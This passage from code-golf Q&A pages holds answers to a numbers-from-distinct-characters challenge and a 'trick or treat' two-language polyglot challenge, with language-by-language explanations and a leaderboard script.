bytes\n```\n!@/!@\nτ÷π\n³\n4\n5\n6\n7\n8\n9\n𐭜\n11\n[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]\n\"{3%%3%3}3\"\nInt((),(),(),(),(),(),(),(),(),(),(),(),(),())\n0xF\n৹\nᛮ\n⑱\n꘡꘩\n-\t--$_-\t--$_-\t--$_-\t--$_-\t--$_-$_\nQ|Q.CiRCLED NUMBER TWENTY ONE..UNiPARSE|.lc.EVAL.EVAL\n22\n٢٣\n㉔\n^?'~'~^'\u0002'~'\u0005'~^^?'~'\n۲۶\n27\n߂߈\nord\\nq``\n*\n```\n[Try it online!](https://tio.run/##pVJbaxNBFAbBh5z/IJwOSbPbJJObqZrY2osbEGK0aapIr5tkqoub3Ti7kYZcEPEhvqkIFvRFfZAKCiooQp/0B/S59KGavvWl/oM4kxRjBUEQhjPnfHzzne8cpsK4OdrtlmvoLRRxDCMpkLkj0lnmKmoKVm2OSsM0LOYEkdi8tGDdWjmxQkRxdmSBD874yNFaQkTF0Dh6dayDx6tT7cpkhla4Ybkp8JQMhkTjXOgXai5THBXrgsOsol1i2GlvCBtNNCx0mIu6yZleqhE0VvFPktBy9BoSz5SQcbDqsFISSUsZ8JSQKngqvclqDnVsLtuLGTvt12MDNYmJHQSOQE2AnnbednWz59NJylWRVB9Pc8YO4UNIkXuLUBpLJNRfjTOG4/Ya07JeUerSiJyE3tbNKmuqtHiDizF@k6xaRs@5VS0XGBc9SVBylOucVbA@JB9Qwalwu@Jgq4XhbBiHh7GH971Ty7bE5MxkZemhGcQopZG1aDoWiajYaCDJSkJSIalud2giPDQBW/e@ftq6A18@wElIwCicgtNwBn48ePMMolGYD8wvLgb@OwKpx32@uC/ejBO4YLmKogb/7agQWUvDt1ef4fvTt9B5@A7215/vr29AyBMKeZf/Gr3LMNOYodNGbjqjncfs3MUpLYf5q1o2fw0vZTVK57LG5cncrNagZrH/SWWAWAy2X2y/hL37j2HpnL/lby35j4nruEh6Ney83/kIB5uPDjafwO7d3fZP)\nA lot of this is made easier by the fact that ~~Perl 6~~ Raku supports numbers being represented by Unicode. This allows us to do things like substituting the digits of 14 for the technically equivalent digits `۱۴`, as long as we don't have byte conflicts in the multi-byte characters.The tradeoff is that all the bitwise operators have to be prefixed by `+`, which narrows down some of what we can do.\n## Explanation:\n### 1\n```\n!@/!@\n```\nDivide the logical not of two anonymous empty state variables to get 1\n### 2\n```\nτ÷π\n```\nDivide tau by pi. Since tau is 2\\*pi, this equals `2`.\n### 3\n```\n³\n```\nThe unicode character `SUPERSCRIPT THREE`, which evaluates to `3` when not after another number.\n### 4 through 9\nAll of these are normal ASCII characters\n### 10\n```\n𐭜\n```\nThis is the character meaning `10` in Inscriptional Parthian.\n### 11\n```\n11\n```\nTwo 1s concatenated together.\n### 12\n```\n[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]\n```\nCoercing a list to an int results in the length of the list. `+[] == 0` and then `+[+[]] == 1`. This then adds them together to result in 12.\n### 13\n```\n\"{3%%3%3}3\"\n```\nChecks if 3 is divisible by 3, then mods that with 3 to coerce the True to a 1 and concatenates it with another 3.\n### 14\n```\nInt((),(),(),(),(),(),(),(),(),(),(),(),(),())\n```\nSame as number 12, where coercing a list to an int results in the length of the list.\n### 15\n```\n0xF\n```\nA hexadecimal literal for 15.\n### 16\n```\n৹\n```\n`BENGALI CURRENCY DENOMINATOR SIXTEEN`.\n### 17\n```\nᛮ\n```\n`RUNIC ARLAUG SYMBOL`. Interesting note, this is actually a numeric letter, as opposed to the numeric digits and numeric other I've used so far.\n### 18\n```\n⒅\n```\n`PARENTHESIZED NUMBER EIGHTEEN`. Actually recognisable as a number for once.\n### 19\n```\n꘡꘩\n```\n`VAI DIGIT`'s `ONE` and `NINE`, making 19.\n### 20\n```\n- --$_- --$_- --$_- --$_- --$_-$_\n```\nSome arithemetic on the topic variable, which is initially set to Nil. These are separated by tabs. This evaluates to `20`.\n### 21\n```\nQ|Q.CiRCLED NUMBER TWENTY ONE..UNiPARSE|.lc.EVAL.EVAL\n```\nI'm quite proud of this one. The `uniparse` function can take a string and find the unicode character called that, which is neat. However, it conflicts with our earlier calls to `Int` (or the alternatives `Rat` or `Numeric`). So we wrap it in a string (using `Q`uotes with various excess characters) and set the whole thing to lowercase before evaling it. We don't need a single digit number, so we get an appropriate Unicode character and eval it *again* which yields the `21`.\nI could have also used the `\\c[]` construct in a string, but I'm using the `[]`s elsewhere.\n### 22\n```\n22\n```\nAn integer literal\n### 23\n```\n٢٣\n```\n`ARABIC-INDIC DIGITs TWO` and `THREE` making `23`.\n### 24\n```\n㉔\n```\n`CIRCLED NUMBER TWENTY FOUR`\n### 25\n```\n^?'~'~^''~''~^^?'~'\n```\nThe unary `?` operator coerces `'~'` to a string, which is then converted to the range [0,1) by `^` and then coerced to the string `0` before being XOR'ed with `''` (2) and converted back to a string. We do the same with `''` (5) and then concatenate the two together to make the string `'25'`\n### 26\n```\n۲۶\n```\n`ARABIC-INDIC DIGITs TWO` and `SIX`. What do you mean I've already used these? No-no, these are the `EXTENDED` versions see? *Completely* different (at least, byte-wise).\n### 27\n27\n`FULLWIDTH DIGIT`'s `TWO` and `SEVEN`\n### 28\n```\n߂߈\n```\n`NKO DIGIT`'s `TWO` and `EIGHT`\n### 29\n```\nord\nq``\n```\nReturn the value of the byte, which is `29`. The function doesn't care about the type of whitespace, so I've used a linefeed here.\n### 30\n```\n<*\n*\n*\n*\n*>*<*\n*\n*\n*\n*\n*>\n```\nI can't believe I didn't think of this earlier. This multiplies a list of length 5 with one of length 6 to get 30. The whitespace separators here are carriage returns, not linefeeds.\n## Possible further improvements\nI can still use various whitespace characters to separate function from argument, but I can't find any that result in a number and don't conflict with all the letters I've already used (e.g. chars, codes, index, encode.bytes).\nI've also used up pretty much all the usable non-conflicting bytes between numeric Unicode characters that Perl 6 recognises.\n* I can free up `_` from `20` at the cost of a longer program.\n* I can exchange `|` for a different character.\n* I have enough characters to declare a variable which would have a default value of Nil, though I don't know what I'd do with it.\nLeftover printable characters:\n```\n&:;=\\#GHJKXZabefghjkmpsuvwyz\n```\n[Answer]\n# [SOGL](https://github.com/dzaima/SOGL), score ~~16~~ ~~18~~ 20, 109 bytes, 47 characters used\n```\n= push \"\"=\"\"\nρ:¾/U ceil(isPalindrome(\"\")/(isPalindrome(\"\")*(3/4))) -> ceil(1/(3/4)) -> ceil(4/3)\n3 push 3\nMM¼÷ 100/(100*1/4)\næ⁄ length of \"aeiou\"\n6 push 6\n7 push 7\nNτ log2(256)\n9 push 9\nL push 10\n⁹’ byte with the 11th SOGL code point\nΙζrkk\"⁸ `⁸`s UTF-8 codepoint to string, take off 1st 2 chars\n'⁰ messy compression\nīuHHHHHHHHHHHHHH± floor(0.1) `-1` 14 times, then change sign\naIIIIIIIIIIIIIII A `+1` 15 times, A = 0\n4² 4^2\nlllllllllllllllll”l length of \"lllllllllllllllll\"\n222222222++++++++ 2+2+2+2+2+2+2+2+2\nδ“○“- 429-420\nΜ℮‘ compressed string of \"2ŗ\" where ŗ defaults to 0\n```\n[Answer]\n# [Brachylog](https://github.com/JCumin/Brachylog), 16 integers, 86 bytes\n```\n1\n2\n3\n4\n5\n6\n7\n8\n9\nℕ<<<<<<<<<<\n≜+₁₁\nỊbkkkkkkkị\nḤl\nℤ₇×₂ṅ\n\"____**\"pᶜ¹\n⟦h>>>>>>>>>>>>>>>>ȧ\n```\n[Try it online!](https://tio.run/##SypKTM6ozMlPN/pvHfaobcOjpt7/hlxGXMZcJlymXGZc5lwWXJZcj1qm2sAB16POOdqPmhqBiOvh7q6kbAh4uLub6@GOJTlAxUseNbUfnv6oqenhzlYupXgg0NJSKni4bc6hnVyP5i/LsEMDJ5b//29o9j8KAA \"Brachylog – Try It Online\") (The input controls which program is ran, from 1 to N)\n### Explanation\n```\n The output is...\n1 1\n2 2\n3 3\n4 4\n5 5\n6 6\n7 7\n8 8\n9 9\nℕ<<<<<<<<<< Strictly bigger than ... strictly bigger than 0\n≜+₁₁ 0 + 11\nỊbkkkkkkkị \"12\" converted to an integer\nḤl The length of \"Hello, World!\"\nℤ₇×₂ṅ -(-7 × 2)\n\"____**\"pᶜ¹ The number of unique permutations of \"____**\"\n⟦h>>>>>>>>>>>>>>>>ȧ The absolute value of stricly less than ... stricly less than 0\n```\n[Answer]\n# Reng, score 40, 149 bytes\n[Try it here!](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)\n```\n1. e\n2. 2\n3. ::l\n4. 4\n5. 5\n6. i`i`i`i`i`i`+++++\n7. 7\n8. 8\n9. 9\n10. A\n11. ÇÇÇǹ\n12. C\n13* [[[[[[[[[[[[[mn~\n14. E\n15. F\n16. G\n17. H\n18. I\n19. J\n20. K\n21. L\n22. M\n23. N\n24. O\n25. P\n26. Q\n27. R\n28. S\n29. T\n30. U\n31. V\n32. W\n33. X\n34. Y\n35. Z\n36. 6²\n37. \"%\"\n38* &fæ¦\n39. D3*\n40. 11±$1±±±±±±±±$11±$1±±±±$±$\n```\nAll uppercase letters are numbers, so that's nice. All but two of these are snippets. The two that are programs:\n```\n13. [[[[[[[[[[[[[mn~\n38. &fæ¦\n```\nThe link provided allows one to see the stack while running. I'll write an explanation later.\n[Answer]\n## CJam, score 27, 168 bytes\n**1-3:** `X`, `Y`, `Z`\nThe variables `X`, `Y`, and `Z` are initialized to 1, 2, and 3, respectively.\n**4:** `\",,,,\",`\nPush the string `,,,,` and take the length.\n**5-9:** `5`, `6`, `7`, `8`, `9`\nNumeric literals.\n**10-20**: `A`-`K`\nPreinitialized variables.\n**21:** `U)))))))))))))))))))))`\nThe variable `U` is initialized to `0`. Push `U` and increment it 22 times.\n**22:** `22`\nNumeric literal.\n**23:** `';(((((((((';((((((((`\nPush the character `;` and decrement it 9 times to get `2`, then push `;` again and decrement it 8 times to get `3`.\n**24:** `4m!`\nTake the factorial of 4.\n**25:** `TT=TT=+TT=TT=TT=TT=TT=++++`\n`TT=` pushes `1`. This code is equivalent to `1 1+1 1 1 1 1++++`.\n**26:** `N:i~W-W-W-W-W-W-W-W-W-W-W-W-W-W-W-W-`\n`N` pushes a string containing a newline. `:i` converts it into a list of character codes, yielding `[10]`. `~` unpacks it, giving `10`. `W-` is the equivalent of adding one. Incrementing 10 sixteen times gives 26.\n**27:** `LLLLLLLLLLLLLLLLLLLLLLLLLLL0]0#`\nFind the index of 0 in a list where 0 is at the 27th index.\n**Characters still available:** `$%&*./1<>?@MOPQRSV[\\^_`abcdefghjklmnopqrstuvwxyz{|}`\nA few notes for potential expansion:\n* I might have to change 10-20 in order to use the variables for something else. If I get numbers higher than 1, I can use `*` (and possibly bitwise operators, but I don't think they'll help much).\n* I still have `S`, whatever good that'll do me.\n* If I change 26 to `N{}/iW-W-W-W-W-W-W-W-W-W-W-W-W-W-W-W-`, then `:` will be available.\n* I can push some empty lists and get more zeroes with existing variables. I can also get π, but that doesn't seem very useful unless I can cast it to an integer somehow, and `m` (for `m[`) and `i` are already taken.\n* In terms of array manipulation, I can:\n\t+ Use a map with `%` or `f`\n\t+ Use a fold with `*`\n\t+ Do some setwise operations\n\t+ Base conversion (this seems promising, but I don't know how I would get the base number)\n\t+ Construct arrays by using `|`: `M1|2|3|`\n[Answer]\n# [Haskell](https://www.haskell.org/), score 13, 86 bytes\n```\npi/pi\nsum[sum[]^sum[],sum[]^sum[]]\n3\n4\n5\n6\n7\n8\n9\nlength\"eeeeeeeeee\"\n11\n2+2+2+2+2+2\n0xD\n```\n[Try it online!](https://tio.run/##fc5NCsIwEAXg/TvFUNzZorH/C3duPUGJEDDYYBODrSCIZ48dlVIQzJCPzGQxr1X9WXddeCTBm5U36G@24SsPb@PZWyJFhhwFSlSo0Wl3GtpITyeCENgsp8L6vgvJE1YZR1s6Xgjkr8YNtKDPNrLK77@zBkT/tsfjf8pkTM4UTMlUTM38puKpEOwsG7djPBle \"Haskell – Try It Online\")\nThanks to Ørjan Johansen for finding a way to fix my letter overlap while preserving the score of thirteen. (Also for going out of their way to notify me about this while this answer was deleted.)\n`pi/pi` is `1.0`. \n`sum[]` evaluates to `0`, `0^0` to `1` and `sum[1,1]` to `2`.\n`3` to `9` just decode themselves. \n`length\"eeeeeeeeee\"` yields the length of the string, which is `10`. \n`2+2+2+2+2+2` is `12`. \n`0xD` is hexadecimal for `13`.\n]"}}},{"rowIdx":49,"cells":{"text":{"kind":"string","value":"[Question]\n [\nSince Halloween is coming up I thought I might start a fun little code golf challenge!\nThe challenge is quite simple. You have to write a program that outputs either `trick` or `treat`. \n\"The twist?\" you may ask. Well let me explain:\nYour program has to do the following:\n* Be compilable/runnable in two different languages. Different versions of the same language don't count.\n* When you run the program in one language it should output `trick` and the other should output `treat`. The case is irrelevant and padding the string with whitespace characters are allowed (see examples).\n* This is [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\"), so the solution with the fewest bytes wins.\nA few explanations:\n**Valid outputs** (Just for the words not for running the code in the two languages. Also adding quotes to signalize the beginning or end of the output. Do not include them in your solution!):\n```\n\"trick\"\n\"Treat\"\n\" TReAt\"\n\"\n tRICk \"\n```\n**Invalid outputs**:\n```\n\"tri ck\"\n\"tr\neat\"\n\"trck\"\n```\nI'm interested to see what you can come up with! Happy Golfing!\nI'd like to note that this is my first challenge so if you have suggestions on this question please leave them in the form of a comment.\n## Leaderboards\nHere is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language.\nTo make sure that your answer shows up, please start your answer with a headline, using the following Markdown template:\n```\n# Language Name, N bytes\n```\nwhere `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance:\n```\n# Ruby, 104 101 96 bytes\n```\nIf there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header:\n```\n# Perl, 43 + 2 (-p flag) = 45 bytes\n```\nYou can also make the language name a link which will then show up in the leaderboard snippet:\n```\n# [><>](http://esolangs.org/wiki/Fish), 121 bytes\n```\n```\nvar QUESTION_ID=97472,OVERRIDE_USER=23417;function answersUrl(e){return\"https://api.stackexchange.com/2.2/questions/\"+QUESTION_ID+\"/answers?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+ANSWER_FILTER}function commentUrl(e,s){return\"https://api.stackexchange.com/2.2/answers/\"+s.join(\";\")+\"/comments?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r=\"

\"+e.body.replace(OVERRIDE_REG,\"\")+\"

\")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery(\"#answer-template\").html();t=t.replace(\"{{PLACE}}\",n+\".\").replace(\"{{NAME}}\",e.user).replace(\"{{LANGUAGE}}\",e.language).replace(\"{{SIZE}}\",e.size).replace(\"{{LINK}}\",e.link),t=jQuery(t),jQuery(\"#answers\").append(t);var o=e.language;/
s.lang?1:e.lang\\s*([^\\n,]*[^\\s,]),.*?(\\d+)(?=[^\\n\\d<>]*(?:<(?:s>[^\\n<>]*<\\/s>|[^\\n<>]+>)[^\\n\\d<>]*)*<\\/h\\d>)/,OVERRIDE_REG=/^Override\\s*header:\\s*/i,TAGS_REG = /(<([^>]+)>)/ig;\n```\n```\nbody{text-align:left!important}#answer-list,#language-list{padding:10px;width:400px;float:left}table thead{font-weight:700}table td{padding:5px}\n```\n```\n

Leaderboard

AuthorLanguageSize

Winners by Language

LanguageUserScore
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n## Python / Windows Batch, 25 bytes\n```\nprint\"trick\"#||echo.treat\n```\nEverything after the # is interpreted as a comment by python, while the || is an OR in batch, saying that as the previous command failed, execute this one.\nI also like the use of an OR as it almost reads \"trick or treat\" :)\n[Answer]\n# Whitespace / Starry, 135 bytes\nHere's to a clear night sky on Halloween!\n```\n + + + + + \n +\n* + +* + *\n + * \n + + \n +* + \n +* + . + . + +* + +* . . .\n```\n*Note that whitespace on empty lines may not be preserved if you copy from the above code*\nWhitespace outputs \"TRICK\". [Try it Online!](http://whitespace.tryitonline.net/#code=ICAgCSAJICAJIAogICsgKwkgKwkgCSsgKyAKCSsKICAJCiogKyAgICsqIAkgICsJICAJKgoJCiAgICsgIAkqICAJIAkJCiAgIAkgKyArICAJCQoJCiArKiArCQogIAoKCiArKiArIC4gICsgLiAgICsgICAgICArKiArICAgKyogLiAuIC4K)\n \nStarry outputs \"TREAT\". [Try it Online!](http://starry.tryitonline.net/#code=ICAgCSAJICAJIAogICsgKwkgKwkgCSsgKyAKCSsKICAJCiogKyAgICsqIAkgICsJICAJKgoJCiAgICsgIAkqICAJIAkJCiAgIAkgKyArICAJCQoJCiArKiArCQogIAoKCiArKiArIC4gICsgLiAgICsgICAgICArKiArICAgKyogLiAuIC4K)\n## Explanation\n### Starry\nStarry ignores all tabs and new lines so the code it reads is the following\n```\n + + + + + + * + +* + * + * + + +* + +* + . + . + +* + +* . . .\n```\nBytewise, pushing values is very expensive compared to stack and arithmetic operations in Starry. The code starts by pushing and duplicating 4 and the performs a number of operations on it and with 2 and 1 pushed later on produces all of the required ASCII values.\n**Annotated Code**\n```\nStack (after op) Code Operation\n4 + Push 4\n4 4 4 4 4 4 + + + + + Duplicate top of stack 5 times\n4 4 4 4 16 * Multiply top two items\n4 4 4 4 16 16 + Duplicate top of stack\n4 4 4 16 4 16 + Rotate top three items on stack right\n4 4 4 16 20 * Add top two items\n4 4 20 4 16 + Rotate...\n4 4 20 64 * Multiply...\n4 64 4 20 + Rotate...\n4 64 80 * Multiply...\n4 64 80 2 + Push 2\n4 64 80 2 2 + Duplicate...\n4 64 2 80 2 + Rotate...\n4 64 2 82 * Add...\n4 64 2 82 82 + Duplicate...\n4 64 82 2 82 + Rotate...\n4 64 82 84 * Add...\n4 64 82 84 84 + Rotate...\n4 64 82 84 . Pop and print as character (T)\n4 64 84 82 + Swap top two items on stack\n4 64 84 . Pop and print... (R)\n84 4 64 + Rotate...\n84 4 64 1 + Push 1\n84 4 65 * Add...\n84 4 65 65 + Duplicate...\n84 65 4 65 + Rotate...\n84 65 69 * Add...\n84 65 . Pop and print... (E)\n84 . Pop and print... (A)\n . Pop and print... (T)\n```\n### Whitespace\nAs the name may suggest, Whitespace only parses the three whitespace characters—space, tab, and newline. Unlike the Starry, the Whitespace simply pushes the ASCII values of `T`, `R`, `I`, `C`, and `K` and the prints them.\n**Annotated Code**\n```\n Push the ASCII value of R\n Push the ASCII value of T\n Pop and print the T\n Pop and print the R\n Push the ASCII value of I\n Pop and print the I\n Push the ASCII value of K\n Push the ASCII value of C\n Pop and print the C\n Pop and print the K\n Terminate the program. The following line is not run.\n\n```\nThe interweaving of pushes and prints was chosen based solely on aesthetic reasons as it does not affect the byte count.\n[Answer]\n# [2sable](http://github.com/Adriandmen/2sable) / [pl](https://github.com/quartata/pl-lang), 8 bytes\n```\n0000000: 74 72 65 61 74 93 d0 cb treat...\n```\nBoth programs have been tested locally with the same 8 byte file, so this is a proper polyglot.\n### 2sable: trick\nThis is the program in [code page 1252](https://en.wikipedia.org/wiki/Windows-1252#Code_page_layout).\n```\ntreat“ÐË\n```\n[Try it online!](http://2sable.tryitonline.net/#code=dHJlYXTigJzDkMOL&input=)\n### pl: treat\nThis is the program in [code page 437](https://en.wikipedia.org/wiki/Code_page_437#Characters).\n```\ntreatô╨╦\n```\n[Try it online!](http://pl.tryitonline.net/#code=dHJlYXTDtOKVqOKVpg&input=)\n## How it works\n### 2sable: trick\n```\nt Square root. Errors since there is no input. The exception is caught, the\n stack left unaltered, and the interpreter pretends nothing happened.\n r Reverse stack.\n Reversed empty stack is still empty stack. ;(\n e Compute nCr. Errors since there is no input.\n a Alphanumeric test. Errors since there is no input.\n t Square root. Errors since there is no input.\n “ Begin a lowercase string literal.\n Ð Excluding ‘, ’, “, and ”, Ð is the 71st non-ASCII character in CP1252.\n Ë Excluding ‘, ’, “, and ”, Ë is the 66th non-ASCII character in CP1252.\n (implicit) End string literal.\n Both characters together fetch the dictionary word at index\n 71 * 100 + 66 = 7166, which is 'trick'.\n```\n### pl: treat\n```\ntreat Bareword; push the string \"treat\" on the stack.\n ô Unimplemented. Does nothing.\n ╨ Flatten the stack. This doesn't affect the output.\n ╦ Unimplemented. Does nothing.\n```\n[Answer]\n# Linux ELF x86 / DOS .COM file, 73 bytes\n```\n00000000 7f 45 4c 46 01 00 00 00 1a 00 00 00 1a 00 43 05 |.ELF..........C.|\n00000010 02 00 03 00 1a 00 43 05 1a 00 43 05 04 00 00 00 |......C...C.....|\n00000020 eb 0c b4 09 ba 41 01 cd 21 c3 20 00 01 00 b2 05 |.....A..!. .....|\n00000030 b9 3b 00 43 05 cd 80 2c 04 cd 80 74 72 69 63 6b |.;.C...,...trick|\n00000040 00 74 72 65 61 74 24 eb d9 |.treat$..|\n00000049\n```\nNASM source:\n```\nORG 0x05430000\nBITS 32 ;\n ; ELF HEADER -- PROGRAM HEADER\n; ELF HEADER ; +-------------+\nDB 0x7f,'E','L','F' ; | magic | +--------------------+\n ; | | | |\n; PROGRAM HEADERS ; | | | |\nDD 1 ; |*class 32b | -- | type: PT_LOAD |\n ; |*data none | | |\n ; |*version 0 | | |\n ; |*ABI SysV | | |\nDD 0x01a ; offset = vaddr & (PAGE_SIZE-1); |*ABI vers | -- | offset |\n ; | | | |\nentry: DD 0x0543001a ; |*PADx7 | -- | vaddr = 0x0543001a |\nDW 2 ; | ET_EXEC | -- |*paddr LO |\nDW 3 ; | EM_386 | -- |*paddr HI |\nDD 0x0543001a ; |*version | -- | filesz |\n; inc ebx ; STDOUT_FILENO ; | | | |\n; mov eax, 4 ; SYS_WRITE ; | | | |\nDD 0x0543001a ; | entry point | -- | memsz |\nDD 4 ; | ph offset | -- | flags: RX |\n ; | | | |\n jmp short skip ; |*sh offset | -- |*align |\nBITS 16 ; | | | |\ntreat: mov ah, 9 ; | | -- | |\n mov dx, trick + 0x100 + 6 ; |*flags ______| | |\n int 0x21 ; |______/ | +--------------------+\n ret ; |*ehsize |\nBITS 32 ; | |\nDW 32 ; | phentsize |\nDW 1 ; | phnum |\nskip: ; | |\n mov dl, 5 ; strlen(\"trick\") ; |*shentsize |\n mov ecx, trick ; |*shnum |\n ; |*shstrndx |\n ; +-------------+\n int 0x80\n sub al, 4 ; SYS_EXIT\n int 0x80\ntrick: DB \"trick/treat$\"\nBITS 16\n jmp short treat\n```\nThis uses the fact that the ELF header starts with 7F 45, which, interpreted as x86 code, is a jump.\nThe relevant parts for the DOS .COM: \n```\n-u100 l2\n07D2:0100 7F45 JG 0147\n-u147 l2\n07D2:0147 EBD9 JMP 0122\n-u122 l8\n07D2:0122 B409 MOV AH,09\n07D2:0124 BA4101 MOV DX,0141\n07D2:0127 CD21 INT 21\n07D2:0129 C3 RET\n-d141 l6\n07D2:0140 74 72 65 61 74 24 - treat$\n```\n[Answer]\n# [evil](http://esolangs.org/wiki/Evil) / [ZOMBIE](http://www.dangermouse.net/esoteric/zombie.html), 109 bytes\nAnother spooky answer !\n```\nxf is a vampire summon task f say \"trick\" stumble say \"jzuueeueeawuuwzaeeaeeaeawuuuuwzuueeueeaw\" animate bind\n```\nThe `ZOMBIE` code defines a `vampire` named `xf` whose only task `f` is activated at instanciation and will output `trick` once before being deactivated by `stumble`. The other `say` call is dead code (how appropriate !) for `ZOMBIE`, but contains most of the `evil` code.\nFor `evil`, the `xf` name is a call to jump to the next `j`, which precedes the `zuueeueeawuuwzaeeaeeaeawuuuuwzuueeueeaw` zombie moan that crafts and output `treat`. The code following is either executed (lowercase letters) or ignored but since there's no `w` no output should be produced.\n[Answer]\n## Python / Perl, 28 bytes\n```\nprint([]and\"trick\"or\"treat\")\n```\n## Explanation\nSince `[]` is an ArrayRef in Perl, it's truthy, but it's an empty array in Python, therefore falsy.\n[Answer]\n## PHP / JavaScript, ~~32~~ 30 bytes\nDisplays `trick` in PHP and `treat` in JS.\n```\nNaN?die(trick):alert('treat');\n```\nThe unknown `NaN` constant is implicitly converted to a string by PHP, making it truthy. It's falsy in JS.\n### Alternative method, 38 bytes\n```\n(1?0:1?0:1)?die(trick):alert('treat');\n```\nThe ternary operator is right-associative in JS:\n```\n 1 ? 0 : 1 ? 0 : 1\n is parsed as: 1 ? 0 : (1 ? 0 : 1)\n which equals: 0\n```\nAnd left-associative in PHP:\n```\n 1 ? 0 : 1 ? 0 : 1\n is parsed as: (1 ? 0 : 1) ? 0 : 1\n which equals: 1\n```\n[Answer]\n# HTML / HTML+JavaScript, 53 bytes\n```\ntreat\n```\n`treat` is the document´s text content in HTML. \nIf JS is enabled, it will replace the HTML content with `trick`.\n[Answer]\n# C / Java 7, ~~165~~ ~~155~~ ~~128~~ ~~123~~ ~~122~~ ~~120~~ 103 bytes\n```\n//\\\nclass a{public static void main(String[] s){System.out.print(\"treat\"/*\nmain(){{puts(\"trick\"/**/);}}\n```\n//\\ makes the next line also a comment in C but is a regular one line comment in Java, so you can make C ignore code meant for Java and by adding /\\* in the second line you can make a comment for Java that is parsed as code by C.\nEdit:\nI improved it a little bit by reorganizing the lines and comments.\nEdit2:\nI did some more reorganizing and shortened it even more.\nEdit3:\nI added corrections suggested by BrainStone to remove 5 bytes, thanks :)\nEdit4:\nOne newline turned out to be unnecessary so I removed it.\nEdit5:\nI changed printf to puts.\nEdit6:\nI added a correction suggested by Ray Hamel.\n[Answer]\n# Jolf + Chaîne, 12 bytes\nBecause Chaîne cannot accept a file to upload with an encoding, I assume UTF-8. (If I could assume ISO-8859-7, this would be 11 bytes, but that would be unfair.)\n```\ntrick«treat\n```\nIn Chaîne, `«` begins a comment, and the rest is printed verbatim. In Jolf, `«` begins a string. Thankfully, `trick` does nothing harmful (`10; range(input, parseInt(input))` basically), and `treat` is printed.\n[Try Jolf here!](http://conorobrien-foxx.github.io/Jolf/#code=dHJpY2vCq3RyZWF0)\n[Try Chaîne here!](http://conorobrien-foxx.github.io/Cha-ne/?code%3Dtrick%C2%ABtreat%7C%7Cinput%3D)\nThey both work on my browser (firefox, latest version), but the same cannot be said for other browsers.\n[Answer]\n# [Cubix](https://github.com/ETHproductions/cubix/) / [Hexagony](https://github.com/m-ender/hexagony), 31 bytes\n```\nt;./e;_a]\"kcirt\">o?@;=v=./r;\\;/\n```\n[Trick it out!](http://ethproductions.github.io/cubix/?code=dDsuL2U7X2FdImtjaXJ0Ij5vP0A7PXY9Li9yO1w7Lw==) [Treat it online!](http://hexagony.tryitonline.net/#code=dDsuL2U7X2FdImtjaXJ0Ij5vP0A7PXY9Li9yO1w7Lw&input=)\n*Halloween themed*? Note the horrifying facts about these languages and the code:\n1. If and even if you do nothing (just put no-ops), you can *never* get out of the loop that is determined to be running forever...\n2. And being stuck in the middle of a 3D and a 2D programming language (Oh agony...)\n3. Inside the dimensions, you'll gradually lost where you are... where you were...\n4. And there is a `=v=` smiling at you which acts at no-ops in the code\nLet's dig into the mystery of the hidden 31-bytes communication protocol of dimensions and terror...\n## trick\nWhen the code folds or unfolds itself... That is `cubified`, the layout looks like this:\n```\n t ; .\n / e ;\n _ a ]\n\" k c i r t \" > o ? @ ;\n= v = . / r ; \\ ; / . .\n. . . . . . . . . . . .\n . . .\n . . .\n . . .\n```\nAnd the main part is this part in the middle:\n```\n\" k c i r t \" > o ? @ .\n. . . . . . . \\ ; / . .\n```\nIt pushes `k,c,i,r,t` onto the stack and `o` outputs and `;` pops within a loop bounded by reflectors and `?` which guides you depending on the value on the top of the stack...\n## treat\nAll of a sudden, the code transforms from a cube to a Hexagon. (Imagine that)\n```\n t ; . /\n e ; _ a ] \n \" k c i r t \n\" > o ? @ ; = \n v = . / r ;\n \\ ; / . .\n . . . .\n```\nAnd the main part is this part:\n```\n t ; . /\n e ; _ a ] \n . . . . . . \n. . . . @ ; = \n . . . / r ;\n . . . . .\n . . . .\n```\nIt runs `t;` which prints `t` and hits the mirror and turns its direction to NW starting from the SE corner and hits another mirror. This runs `r;` and wraps to `e;_a` and the `]` brings it to the Instruction Pointer 1 which starts at corner NE pointing SE and hits `/` which reflects horizontally to `;` then `t`.\nThen it wraps to `=`, `;`, and `@` ends the mess.\nSo... What is `_` doing there?\n*Why* is it inside the `t` `e` `a` (the first 3 letters in the code)?\nHere comes the end of the story -\nit does *nothing*.\nDoes it sound like the end of a horror story?\n[Answer]\n# [#hell](http://esolangs.org/wiki/HashHell) / [Agony](http://esolangs.org/wiki/Agony), 43 bytes\nSo much `><>` everywhere, what is this, an 